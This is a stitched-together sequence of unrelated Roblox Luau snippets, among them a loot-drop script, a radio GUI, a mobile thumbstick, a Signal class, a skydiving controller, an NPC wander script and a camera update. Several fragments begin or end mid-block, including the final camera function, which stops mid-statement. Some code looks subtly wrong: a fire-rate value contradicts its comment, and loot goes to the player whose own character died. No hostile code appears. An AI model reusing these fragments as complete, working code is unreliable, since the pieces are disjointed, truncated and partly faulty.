local humanoid = script.Parent.Humanoid local replicatedStorage = game:GetService("ReplicatedStorage") local lootFolder = replicatedStorage.Loot local dropChance = 100 local function onDeath() local randomChance = math.random(1, dropChance) if randomChance == 100 then local randomItem = lootFolder:GetChildren()[math.random(1, #lootFolder:GetChildren())]:Clone() local player = game.Players:GetPlayerFromCharacter(humanoid.Parent) if player then randomItem.Parent = player.Backpack local gui = Instance.new("ScreenGui", player.PlayerGui) local imageLabel = Instance.new("ImageLabel", gui) imageLabel.Size = UDim2.new(0, 200, 0, 200) imageLabel.Position = UDim2.new(0.5, -100, 0.5, -100) imageLabel.Image = randomItem.ImageId task.wait(3) gui:Destroy() end end end humanoid.Died:Connect(onDeath)
-- Sample assumes a Main Portal Template and Image Ad Unit 1 model exists under Workspace
local mainPortal = Workspace:WaitForChild("Main Portal Template") local mainImageAdUnit = Workspace:WaitForChild("Image Ad Unit 1")
-- do not touch --
local parent = script.Parent.Parent.LoadingScreen local first = game.ReplicatedFirst parent.Parent = first script:Destroy()
------------------------------------------------------
local plane = script.Parent.Plane.Value local cam = workspace.CurrentCamera local player = game.Players.LocalPlayer local CamV = "third" local run = false local AimPart = plane.AimPart local input = game:GetService("UserInputService") local Settings = require(plane.Parent.Settings.Config) cam.CameraSubject = plane.PilotSeat
--------END RIGHT DOOR-------
end wait(0.15) until game.Workspace.DoorFlashing.Value == false end end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.ScarySword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--[=[ @tag Component Instance @within Component @prop Instance Instance A reference back to the _Roblox_ instance from within a _component_ instance. When a component instance is created, it is bound to a specific Roblox instance, which will always be present through the `Instance` property. ```lua MyComponent.Started:Connect(function(component) local robloxInstance: Instance = component.Instance print("Component is bound to " .. robloxInstance:GetFullName()) end) ``` ]=]
local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local Signal = require(script.Parent.Signal) local Symbol = require(script.Parent.Symbol) local Trove = require(script.Parent.Trove) local Promise = require(script.Parent.Promise) local IS_SERVER = RunService:IsServer() local DEFAULT_ANCESTORS = {workspace, game:GetService("Players")} local DEFAULT_TIMEOUT = 60
---------------- --[[SETTINGS]]-- ----------------
local ViewAccessories = true local ViewHeadAccessories = false local RealisticView = true local AutoLockFirstPerson = false
--[=[ @param inboundMiddleware ClientMiddleware? @param outboundMiddleware ClientMiddleware? @return table Returns an object which maps RemoteFunctions as methods and RemoteEvents as fields. ```lua -- Server-side: serverComm:BindFunction("Test", function(player) end) serverComm:CreateSignal("MySignal") -- Client-side local obj = clientComm:BuildObject() obj:Test() obj.MySignal:Connect(function() end) ``` ]=]
function ClientComm:BuildObject(inboundMiddleware: ClientMiddleware?, outboundMiddleware: ClientMiddleware?) local obj = {} local rfFolder = self._instancesFolder:FindFirstChild("RF") local reFolder = self._instancesFolder:FindFirstChild("RE") if rfFolder then for _,rf in ipairs(rfFolder:GetChildren()) do if not rf:IsA("RemoteFunction") then continue end local f = self:GetFunction(rf.Name, inboundMiddleware, outboundMiddleware) obj[rf.Name] = function(_self, ...) return f(...) end end end if reFolder then for _,re in ipairs(reFolder:GetChildren()) do if not re:IsA("RemoteEvent") then continue end obj[re.Name] = self:GetSignal(re.Name, inboundMiddleware, outboundMiddleware) end end return obj end
-- Concatenate these two tables, return result.
function CommonUtil.TableConcat(t1,t2) for i=1,#t2 do t1[#t1+1] = t2[i] end return t1 end
------------------------------------------
gui.Track.Text = radio.TName.Value radio.TName.Changed:connect(function() gui.Track.Text = radio.TName.Value seat.Parent.Body.Dash.Screen.G.Song.Text = radio.TName.Value seat.Parent.Body.Dash.RL.G.Song.Text = radio.TName.Value seat.Parent.Misc.SFR.RR.G.Song.Text = radio.TName.Value end) gui.Stop.MouseButton1Click:connect(function() if radio.Stopped.Value == false then radio.Stopped.Value = true end end) gui.Pause.MouseButton1Click:connect(function() if radio.Paused.Value == false and radio.Stopped.Value == false then radio.Paused.Value = true end end) gui.Play.MouseButton1Click:connect(function() if radio.Stopped.Value == true then radio.Play.Value = not radio.Play.Value else if radio.Paused.Value == true then radio.Paused.Value = false end end end) gui.Forward.MouseButton1Click:connect(function() local n = radio.Track.Value+1 if n>#radio.Songs:GetChildren() then n = 1 end radio.Track.Value = n end) gui.Back.MouseButton1Click:connect(function() local n = radio.Track.Value-1 if n<=0 then n = #radio.Songs:GetChildren() end radio.Track.Value = n end) gui.AutoplayOn.MouseButton1Click:connect(function() if radio.Autoplay.Value == true then radio.Autoplay.Value = false end end) gui.AutoplayOff.MouseButton1Click:connect(function() if radio.Autoplay.Value == false then radio.Autoplay.Value = true end end) gui.List.MouseButton1Click:connect(function() gui.Menu.Visible=not gui.Menu.Visible end) gui.Id.MouseButton1Click:connect(function() gui.IdPlayer.Visible=not gui.IdPlayer.Visible if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end end) gui.IdPlayer.Play.MouseButton1Click:connect(function() if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then radio.IdPlay.Value="" wait() end radio.IdPlay.Value=gui.IdPlayer.TextBox.Text end) for i,v in pairs(gui.Menu:GetChildren()) do v.MouseButton1Click:connect(function() radio.Track.Value = i end) end function Stopped() if radio.Stopped.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else gui.Play.Visible = false gui.Pause.Visible = true end end function Paused() if radio.Paused.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else if radio.Stopped.Value == false then gui.Play.Visible = false gui.Pause.Visible = true end end end function Autoplay() if radio.Autoplay.Value == true then gui.AutoplayOff.Visible = false gui.AutoplayOn.Visible = true else gui.AutoplayOn.Visible = false gui.AutoplayOff.Visible = true end end radio.Stopped.Changed:connect(Stopped) radio.Paused.Changed:connect(Paused) radio.Autoplay.Changed:connect(Autoplay) Stopped() Paused() Autoplay() while wait(.5) do if seat:FindFirstChild("SeatWeld") == nil then script.Parent:Destroy() end end
--[[ Public API ]]
-- function Thumbstick:Enable() ThumbstickFrame.Visible = true end function Thumbstick:Disable() ThumbstickFrame.Visible = false OnTouchEnded() end function Thumbstick:Create(parentFrame) if ThumbstickFrame then ThumbstickFrame:Destroy() ThumbstickFrame = nil if OnTouchMovedCn then OnTouchMovedCn:disconnect() OnTouchMovedCn = nil end if OnTouchEndedCn then OnTouchEndedCn:disconnect() OnTouchEndedCn = nil end end local isSmallScreen = parentFrame.AbsoluteSize.y <= 500 local thumbstickSize = isSmallScreen and 70 or 120 local position = isSmallScreen and UDim2.new(0, (thumbstickSize/2) - 10, 1, -thumbstickSize - 20) or UDim2.new(0, thumbstickSize/2, 1, -thumbstickSize * 1.75) ThumbstickFrame = Instance.new('Frame') ThumbstickFrame.Name = "ThumbstickFrame" ThumbstickFrame.Active = true ThumbstickFrame.Visible = false ThumbstickFrame.Size = UDim2.new(0, thumbstickSize, 0, thumbstickSize) ThumbstickFrame.Position = position ThumbstickFrame.BackgroundTransparency = 1 local outerImage = Instance.new('ImageLabel') outerImage.Name = "OuterImage" outerImage.Image = TOUCH_CONTROL_SHEET outerImage.ImageRectOffset = Vector2.new() outerImage.ImageRectSize = Vector2.new(220, 220) outerImage.BackgroundTransparency = 1 outerImage.Size = UDim2.new(0, thumbstickSize, 0, thumbstickSize) outerImage.Position = UDim2.new(0, 0, 0, 0) outerImage.Parent = ThumbstickFrame StickImage = Instance.new('ImageLabel') StickImage.Name = "StickImage" StickImage.Image = TOUCH_CONTROL_SHEET StickImage.ImageRectOffset = Vector2.new(220, 0) StickImage.ImageRectSize = Vector2.new(111, 111) StickImage.BackgroundTransparency = 1 StickImage.Size = UDim2.new(0, thumbstickSize/2, 0, thumbstickSize/2) StickImage.Position = UDim2.new(0, thumbstickSize/2 - thumbstickSize/4, 0, thumbstickSize/2 - thumbstickSize/4) StickImage.ZIndex = 2 StickImage.Parent = ThumbstickFrame local centerPosition = nil local deadZone = 0.05 local function doMove(direction) MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = direction / (thumbstickSize/2) -- Scaled Radial Dead Zone local inputAxisMagnitude = currentMoveVector.magnitude if inputAxisMagnitude < deadZone then currentMoveVector = Vector3.new() else currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone)) -- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed -- must check for zero length vector is using unit currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y) end MasterControl:AddToPlayerMovement(currentMoveVector) end local function moveStick(pos) local relativePosition = Vector2.new(pos.x - centerPosition.x, pos.y - centerPosition.y) local length = relativePosition.magnitude local maxLength = ThumbstickFrame.AbsoluteSize.x/2 if IsFollowStick and length > maxLength then local offset = relativePosition.unit * maxLength ThumbstickFrame.Position = UDim2.new( 0, pos.x - ThumbstickFrame.AbsoluteSize.x/2 - offset.x, 0, pos.y - ThumbstickFrame.AbsoluteSize.y/2 - offset.y) else length = math.min(length, maxLength) relativePosition = relativePosition.unit * length end StickImage.Position = UDim2.new(0, relativePosition.x + StickImage.AbsoluteSize.x/2, 0, relativePosition.y + StickImage.AbsoluteSize.y/2) end -- input connections ThumbstickFrame.InputBegan:connect(function(inputObject) if MoveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch then return end MoveTouchObject = inputObject ThumbstickFrame.Position = UDim2.new(0, inputObject.Position.x - ThumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.y - ThumbstickFrame.Size.Y.Offset/2) centerPosition = Vector2.new(ThumbstickFrame.AbsolutePosition.x + ThumbstickFrame.AbsoluteSize.x/2, ThumbstickFrame.AbsolutePosition.y + ThumbstickFrame.AbsoluteSize.y/2) local direction = Vector2.new(inputObject.Position.x - centerPosition.x, inputObject.Position.y - centerPosition.y) moveStick(inputObject.Position) end) OnTouchMovedCn = UserInputService.TouchMoved:connect(function(inputObject, isProcessed) if inputObject == MoveTouchObject then centerPosition = Vector2.new(ThumbstickFrame.AbsolutePosition.x + ThumbstickFrame.AbsoluteSize.x/2, ThumbstickFrame.AbsolutePosition.y + ThumbstickFrame.AbsoluteSize.y/2) local direction = Vector2.new(inputObject.Position.x - centerPosition.x, inputObject.Position.y - centerPosition.y) doMove(direction) moveStick(inputObject.Position) end end) OnTouchEnded = function() ThumbstickFrame.Position = position StickImage.Position = UDim2.new(0, ThumbstickFrame.Size.X.Offset/2 - thumbstickSize/4, 0, ThumbstickFrame.Size.Y.Offset/2 - thumbstickSize/4) MoveTouchObject = nil MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) end OnTouchEndedCn = UserInputService.TouchEnded:connect(function(inputObject, isProcessed) if inputObject == MoveTouchObject then OnTouchEnded() end end) ThumbstickFrame.Parent = parentFrame end return Thumbstick
--------------------------------------------
local Signal = {} Signal.__index = Signal function Signal.new() local self = setmetatable({ _bindable = Instance.new("BindableEvent"); _connections = {}; _args = {}; _threads = 0; _id = 0; }, Signal) return self end function Signal.Is(obj) return (type(obj) == "table" and getmetatable(obj) == Signal) end function Signal:Fire(...) local id = self._id self._id = self._id + 1 self._args[id] = {#self._connections + self._threads, {n = select("#", ...), ...}} self._threads = 0 self._bindable:Fire(id) end function Signal:Wait() self._threads = self._threads + 1 local id = self._bindable.Event:Wait() local args = self._args[id] args[1] = args[1] - 1 if (args[1] <= 0) then self._args[id] = nil end return table.unpack(args[2], 1, args[2].n) end function Signal:Connect(handler) local connection = Connection.new(self, self._bindable.Event:Connect(function(id) local args = self._args[id] args[1] = args[1] - 1 if (args[1] <= 0) then self._args[id] = nil end handler(table.unpack(args[2], 1, args[2].n)) end)) table.insert(self._connections, connection) return connection end function Signal:DisconnectAll() for _,c in ipairs(self._connections) do if (c._conn) then c._conn:Disconnect() end end self._connections = {} self._args = {} end function Signal:Destroy() self:DisconnectAll() self._bindable:Destroy() end return Signal
--[=[ @param obj any @return boolean Returns `true` if `obj` is an Option. ]=]
function Option.Is(obj) return type(obj) == "table" and getmetatable(obj) == Option end
--======================================-- --==============Weld Creation(WCR)==============-- --======================================--
function onChanged() local w1 = Instance.new("Weld") local w2 = Instance.new("Weld") local w3 = Instance.new("Weld") local w4 = Instance.new("Weld") local w5 = Instance.new("Weld") local w6 = Instance.new("Weld") local w7 = Instance.new("Weld") local w8 = Instance.new("Weld") local w9 = Instance.new("Weld") local w10 = Instance.new("Weld") local w11 = Instance.new("Weld") local w12 = Instance.new("Weld")
--end --if TurnValues.TurnSignal1.Value == 2 then
TurnValues.TurnSignal1.Value = 3
-- Legacy implementation renamed
function CameraUtils.GetAngleBetweenXZVectors(v1: Vector3, v2: Vector3): number return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z) end function CameraUtils.RotateVectorByAngleAndRound(camLook: Vector3, rotateAngle: number, roundAmount: number): number if camLook.Magnitude > 0 then camLook = camLook.unit local currAngle = math.atan2(camLook.z, camLook.x) local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end
--- Internal function that returns a point type -- @param group string name -- @param castMode numeric enum value -- @param lastPosition Vector3 value
function Hitbox:_CreatePoint(group: string?, castMode: number, lastPosition: Vector3?): Point return { Group = group, CastMode = castMode, LastPosition = lastPosition, WorldSpace = nil, Instances = {}, } end
-- Construct skydive button indicator GUI
local function createIndicatorImage(imageId) local image = Instance.new("ImageLabel") image.Image = imageId image.BackgroundTransparency = 1 image.Size = UDim2.new(0, 100, 0, 100) return image end local Skydiver = {} Skydiver.__index = Skydiver function Skydiver:setOnDisabled(cb) self.onDisabled = cb end function Skydiver.new() local self = setmetatable({}, Skydiver) self.enabled = false self.enabledTime = 0 self.straightDive = false self.character = nil self.humanoid = nil self.humanoidRootPart = nil self.autoDeploy = true self.onlyAutoDeployOnce = true self.waitingForJump = false self.didJump = false self.Jumped = Instance.new("BindableEvent") self.freefallAnimation = nil self.fallAnimationAsset = Instance.new("Animation") self.fallAnimationAsset.AnimationId = "rbxassetid://616087089" self.onClientEventConn = nil --[[ Character management ]] local character = localPlayer.Character if character then self:onCharacterAdded(character) end localPlayer.CharacterAdded:Connect(function(char) self:onCharacterAdded(char) end) --[[ User Interface ]] -- The skydiver prompt is an optional dependency. -- Only create a skydiver prompt if the depedency was provided. if Skydiver.ActionPromptGui then local actionPromptImages = { keyboard = createIndicatorImage("rbxassetid://2032127907"), gamepad = createIndicatorImage("rbxassetid://2032438935"), touch = createIndicatorImage("rbxassetid://3869394984"), } self.actionPromptGui = Skydiver.ActionPromptGui.new("", "To Skydive", actionPromptImages) end return self end function Skydiver:createContrail(part) local contrail = BeamTemplate:Clone() contrail.Name = part.Name contrail.BeamHolder.Position = part.Position contrail.BeamPart.Position = part.Position contrail.WeldConstraint.Part1 = part contrail.BeamPart.HeightBodyPosition.Position = part.Position + Vector3.new(0,30,0) contrail.Parent = self.character return contrail end function Skydiver:setupContrails() if not self.humanoidRootPart then return end self.LeftFootBeam = self:createContrail(self.character:WaitForChild("LeftFoot")) self.RightFootBeam = self:createContrail(self.character:WaitForChild("RightFoot")) self.LeftHandBeam = self:createContrail(self.character:WaitForChild("LeftHand")) self.RightHandBeam = self:createContrail(self.character:WaitForChild("RightHand")) end function Skydiver:destroyContrails() if self.LeftFootBeam then self.LeftFootBeam:Destroy() self.LeftFootBeam = nil end if self.RightFootBeam then self.RightFootBeam:Destroy() self.RightFootBeam = nil end if self.LeftHandBeam then self.LeftHandBeam:Destroy() self.LeftHandBeam = nil end if self.RightHandBeam then self.RightHandBeam:Destroy() self.RightHandBeam = nil end end function Skydiver:disableContrails() self.LeftFootBeam.Beam.Enabled = false self.RightFootBeam.Beam.Enabled = false self.LeftHandBeam.Beam.Enabled = false self.RightHandBeam.Beam.Enabled = false end function Skydiver:enableContrails() self.LeftFootBeam.Beam.Enabled = true self.RightFootBeam.Beam.Enabled = true self.LeftHandBeam.Beam.Enabled = true self.RightHandBeam.Beam.Enabled = true end function Skydiver:updateContrails() local leftFootPos = self.character:WaitForChild("LeftFoot").Position local rightFootPos = self.character:WaitForChild("RightFoot").Position local leftHandPos = self.character:WaitForChild("LeftHand").Position local rightHandPos = self.character:WaitForChild("RightHand").Position self.LeftFootBeam.BeamPart.HeightBodyPosition.Position = leftFootPos + Vector3.new(0,30,0) self.RightFootBeam.BeamPart.HeightBodyPosition.Position = rightFootPos + Vector3.new(0,30,0) self.LeftHandBeam.BeamPart.HeightBodyPosition.Position = leftHandPos + Vector3.new(0,30,0) self.RightHandBeam.BeamPart.HeightBodyPosition.Position = rightHandPos + Vector3.new(0,30,0) self.LeftFootBeam.BeamPart.XZBodyPosition.Position = leftFootPos + (self.character.LeftFoot.CFrame.RightVector * Vector3.new(-5,0,-7)) self.RightFootBeam.BeamPart.XZBodyPosition.Position = rightFootPos + (self.character.RightFoot.CFrame.RightVector * Vector3.new(5,0,7)) self.LeftHandBeam.BeamPart.XZBodyPosition.Position = leftHandPos + (self.character.LeftHand.CFrame.RightVector * Vector3.new(-7,0,-5)) self.RightHandBeam.BeamPart.XZBodyPosition.Position = rightHandPos + (self.character.RightHand.CFrame.RightVector * Vector3.new(7,0,5)) end function Skydiver:setWaitingForJump(waiting) if waiting == self.waitingForJump then return end self.waitingForJump = waiting if self.waitingForJump then ContextActionService:BindActionAtPriority("ExitDeliveryVehicle", function(...) self:onJumpAction(...) end, false, 1000000, Enum.KeyCode.Space, Enum.KeyCode.ButtonA, Enum.UserInputType.Touch) if self.actionPromptGui then self.actionPromptGui:setVisible(true) end else ContextActionService:UnbindAction("ExitDeliveryVehicle") if self.actionPromptGui then self.actionPromptGui:setVisible(false) end end end function Skydiver:waitForJumped() if not self.didJump then self.Jumped.Event:Wait() end end function Skydiver:setEnabled(enabled) if enabled == self.enabled then return end self.enabled = enabled if enabled then self.enabledTime = tick() if self.humanoid then -- make sure player is in correct state to start skydiving self.humanoid:ChangeState(Enum.HumanoidStateType.Physics) local activeTracks = self.humanoid:GetPlayingAnimationTracks() -- stop any previous animations for i, v in pairs(activeTracks) do v:Stop() end end if self.character and self.humanoidRootPart then self:setupSkydivingForCharacter() end RunService:BindToRenderStep("SkydiverUpdate", Enum.RenderPriority.Last.Value, function(dt) self:onUpdate(dt) end) else if self.onlyAutoDeployOnce then self.autoDeploy = false end if self.freefallAnimation then self.freefallAnimation:Stop() self.freefallAnimation:Destroy() self.freefallAnimation = nil end if self.PitchAttachment then self.PitchAttachment:Destroy() self.PitchAttachment = nil end if self.RootRigAttachment then self.RootRigAttachment:Destroy() self.RootRigAttachment = nil end if self.SkydivePart then self.SkydivePart:Destroy() self.SkydivePart = nil end if self.BodyVelocity then self.BodyVelocity:Destroy() self.BodyVelocity = nil end if self.humanoid then self.humanoid:ChangeState(Enum.HumanoidStateType.Running) end if self.onClientEventConn then self.onClientEventConn:Disconnect() self.onClientEventConn = nil end self:destroyContrails() if self.onDisabled then self:onDisabled() end RunService:UnbindFromRenderStep("SkydiverUpdate") end end function Skydiver:onCharacterAdded(character) self.character = character self.humanoid = self.character:WaitForChild("Humanoid") self.humanoidRootPart = self.character:WaitForChild("HumanoidRootPart") if self.enabled then self:setupSkydivingForCharacter() end self.onClientEventConn = EventData.OnClientEvent:Connect(function(cmd) if cmd == "ExitedDeliveryVehicle" then if not self.didJump then self:setWaitingForJump(false) self.didJump = true self.Jumped:Fire() end end end) end function Skydiver:setupSkydivingForCharacter() if not self.humanoidRootPart then return end if self.humanoid and not self.freefallAnimation then self.freefallAnimation = self.humanoid:LoadAnimation(self.fallAnimationAsset) self.freefallAnimation.Looped = true self.freefallAnimation.Priority = Enum.AnimationPriority.Action self.freefallAnimation:Play() end if not self.PitchAttachment then self.PitchAttachment = Instance.new("Attachment") self.PitchAttachment.Orientation = Vector3.new(0,-90,0) self.PitchAttachment.Position = Vector3.new(0,-0.35,0) self.PitchAttachment.Axis = Vector3.new(0,0,1) self.PitchAttachment.SecondaryAxis = Vector3.new(0,1,0) self.PitchAttachment.Parent = self.humanoidRootPart end if not self.RootRigAttachment then self.RootRigAttachment = Instance.new("Attachment") self.RootRigAttachment.Orientation = Vector3.new(0,0,0) self.RootRigAttachment.Position = Vector3.new(0,-0.35,0) self.RootRigAttachment.Axis = Vector3.new(1,0,0) self.RootRigAttachment.SecondaryAxis = Vector3.new(0,1,0) self.RootRigAttachment.Parent = self.humanoidRootPart end if not self.SkydivePart then self.SkydivePart = SkydivePartTemplate:Clone() self.SkydivePart.PitchAndRollOrientation.Attachment1 = self.PitchAttachment self.SkydivePart.YawOrientation.Attachment0 = self.RootRigAttachment self.SkydivePart.Parent = workspace end if not self.BodyVelocity then self.BodyVelocity = Instance.new("BodyVelocity") self.BodyVelocity.P = 6000 self.BodyVelocity.MaxForce = Vector3.new(1000,2000,1000) self.BodyVelocity.Parent = self.humanoidRootPart end self:setupContrails() end function Skydiver:doJump() if not self.waitingForJump then return end EventData:FireServer("ExitDeliveryVehicle") end function Skydiver:onJumpAction(actionName, inputState) if inputState == Enum.UserInputState.Begin then self:doJump() end end function Skydiver:getAltitudeAboveGround() if not self.humanoidRootPart then return 0 end debug.profilebegin("getAltitudeAboveGround") local ignoreList = { workspace.CurrentCamera, self.SkydivePart, workspace:FindFirstChild("DeliveryVehicle" .. tostring(PlayerMatchInfo.GetField(localPlayer, "teamNumber"))) } for _, player in pairs(Players:GetPlayers()) do if player.Character then table.insert(ignoreList, player.Character) end end local rayDown = Ray.new(self.humanoidRootPart.Position, Vector3.new(0, -ALTITUDE_TEST_LENGTH, 0)) local hitObject, hitPoint = workspace:FindPartOnRayWithIgnoreList(rayDown, ignoreList, false, false) debug.profileend() if not hitObject then return ALTITUDE_TEST_LENGTH else return math.abs(rayDown.Origin.Y - hitPoint.Y) end end function Skydiver:onUpdate(dt) if not self.enabled then return end local timeSinceEnabled = tick() - self.enabledTime local altitude = self:getAltitudeAboveGround() if altitude < DISABLE_ALTITUDE and self.enabledTime ~= 0 and timeSinceEnabled > 0.5 then self:setEnabled(false) return end if not self.humanoidRootPart or not self.humanoid then return end local pitchRange = FALLING_PITCH_RANGE local pitchOffset = 0 local rollRange = FALLING_ROLL_RANGE local cameraPitchContribution = 0.3 local cameraCFrame = workspace.CurrentCamera.CFrame local globalMoveVector = self.humanoid.MoveDirection local relativeMoveVector = cameraCFrame:vectorToObjectSpace(globalMoveVector) local cameraLook = cameraCFrame.lookVector local cameraYaw = math.atan2(-cameraLook.X, -cameraLook.Z) local cameraPitch = math.asin(cameraLook.Y) self.straightDive = cameraLook.Y < -0.95 and -relativeMoveVector.Z > 0.1 local desiredPitch = (cameraPitchContribution * cameraPitch) + (pitchRange * relativeMoveVector.Z) + pitchOffset local desiredRoll = (rollRange * -relativeMoveVector.X) local targetCFrame = CFrame.new(self.humanoidRootPart.Position) * CFrame.Angles(0, cameraYaw, 0) * CFrame.Angles(self.straightDive and DIVE_PITCH or desiredPitch, 0, 0) * CFrame.Angles(0, 0, desiredRoll) self.SkydivePart.CFrame = targetCFrame local globalForce = Vector3.new(globalMoveVector.x, 0, globalMoveVector.z) local cameraLookXZ = Vector3.new(cameraLook.x, 0, cameraLook.z) local dot = globalForce:Dot(cameraLookXZ) local planeNormal = Vector3.new(0,1,0) local det = globalForce.x*cameraLookXZ.y*planeNormal.z + cameraLookXZ.x*planeNormal.y*globalForce.z + planeNormal.x*globalForce.y*cameraLookXZ.z - globalForce.z*cameraLookXZ.y*planeNormal.x - cameraLookXZ.z*planeNormal.y*globalForce.x - planeNormal.z*globalForce.y*cameraLookXZ.x local angle = math.atan2(det,dot) + math.pi/2 local XZVelocity = XZ_VELOCITY -- do not apply too much force when moving backwards if angle < -math.pi * 0.05 or angle > math.pi * 1.05 then XZVelocity = XZVelocity * 0.3 end local yVelocity = FREEFALL_VELOCITY if self.straightDive then yVelocity = DIVE_VELOCITY end self.BodyVelocity.Velocity = Vector3.new(globalForce.x * XZVelocity, yVelocity, globalForce.z * XZVelocity) self:updateContrails() end return Skydiver
-- How many times per second the gun can fire
local FireRate = 5 / 30000
-- Tween
local tween = game:GetService("TweenService") local info = TweenInfo.new( 3, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0 ) local abrindo = { CFrame = cf1.CFrame } local fechando = { CFrame = doorpos } local create1 = tween:Create(portao,info,abrindo) local create2 = tween:Create(portao,info,fechando)
--[=[ http://reactivex.io/documentation/operators/filter.html Filters out values ```lua Rx.of(1, 2, 3, 4, 5):Pipe({ Rx.where(function(value) return value % 2 == 0; end) }):Subscribe(print) --> 2, 4 ``` @param predicate (value: T) -> boolean @return (source: Observable<T>) -> Observable<T> ]=]
function Rx.where(predicate) assert(type(predicate) == "function", "Bad predicate callback") return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) return source:Subscribe( function(...) if predicate(...) then sub:Fire(...) end end, sub:GetFailComplete() ) end) end end
-- get when the key is pressed
local function HandleKeyDown(inputObject,InUse) if InUse then return end for k,f in pairs (Actions) do if k == inputObject.KeyCode then f(inputObject) end end end local UIS = game:GetService("UserInputService") local InputBeganConnection
--DevVince was here. :o
local shelly = script.Parent local origin = shelly.PrimaryPart.CFrame local tether = 15 local bg = shelly.PrimaryPart:WaitForChild'BodyGyro' local bp = shelly.PrimaryPart:WaitForChild'BodyPosition' bp.Position = origin.p bg.CFrame = shelly.PrimaryPart.CFrame local shellyGood = true local ostrich = tick() function MoveShelly() bp.Parent = shelly.PrimaryPart local goal repeat local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), shelly.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0)) local part,pos,norm,mat = workspace:FindPartOnRay(ray, shelly) if part == workspace.Terrain and mat ~= Enum.Material.Water then goal = pos+Vector3.new(0,.35,0) end wait() until goal --Set new goal for banto to MoveTo :) local pos = shelly.PrimaryPart.Position local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z)) bg.CFrame = cf bp.Position = (cf*CFrame.new(0,0,-100)).p local start = tick() repeat wait(.5) local ray = Ray.new(shelly.PrimaryPart.Position, Vector3.new(0,-140,0)) until (shelly.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >15 or not shellyGood if not shellyGood then bp.Parent,bg.Parent= nil,nil return end bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren() shelly.Health.Changed:connect(function() if shellyGood then bp.Parent,bg.Parent= nil,nil shelly.PrimaryPart.Transparency =1 shelly.PrimaryPart.CanCollide = false shelly.Shell.Transparency = 1 shelly.HitShell.Transparency = 0 shelly.HitShell.CanCollide = true shellyGood = false ostrich = tick() shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0)) local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() repeat wait() until tick()-ostrich > 10 shelly.PrimaryPart.Transparency = 0 shelly.PrimaryPart.CanCollide = true shelly.Shell.Transparency = 0 shelly.HitShell.Transparency = 1 shelly.HitShell.CanCollide = false bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart shellyGood = true end end) while true do if shellyGood then MoveShelly() else wait(1) end end
-- [[ Update ]]--
function OrbitalCamera:Update(dt) local now = tick() local timeDelta = (now - self.lastUpdate) local userPanningTheCamera = (self.UserPanningTheCamera == true) local camera = workspace.CurrentCamera local newCameraCFrame = camera.CFrame local newCameraFocus = camera.Focus local player = PlayersService.LocalPlayer local cameraSubject = camera and camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') if self.lastUpdate == nil or timeDelta > 1 then self.lastCameraTransform = nil end if self.lastUpdate then local gamepadRotation = self:UpdateGamepad() if self:ShouldUseVRRotation() then self.RotateInput = self.RotateInput + self:GetVRRotationInput() else -- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from local delta = math.min(0.1, timeDelta) if gamepadRotation ~= ZERO_VECTOR2 then userPanningTheCamera = true self.rotateInput = self.rotateInput + (gamepadRotation * delta) end local angle = 0 if not (isInVehicle or isOnASkateboard) then angle = angle + (self.TurningLeft and -120 or 0) angle = angle + (self.TurningRight and 120 or 0) end if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0) userPanningTheCamera = true end end end -- Reset tween speed if user is panning if userPanningTheCamera then self.lastUserPanCamera = tick() end local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then -- Process any dollying being done by gamepad -- TODO: Move this if self.gamepadDollySpeedMultiplier ~= 1 then self:SetCameraToSubjectDistance(self.currentSubjectDistance * self.gamepadDollySpeedMultiplier) end local VREnabled = VRService.VREnabled newCameraFocus = VREnabled and self:GetVRFocus(subjectPosition, timeDelta) or CFrame.new(subjectPosition) local cameraFocusP = newCameraFocus.p if VREnabled and not self:IsInFirstPerson() then local cameraHeight = self:GetCameraHeight() local vecToSubject = (subjectPosition - camera.CFrame.p) local 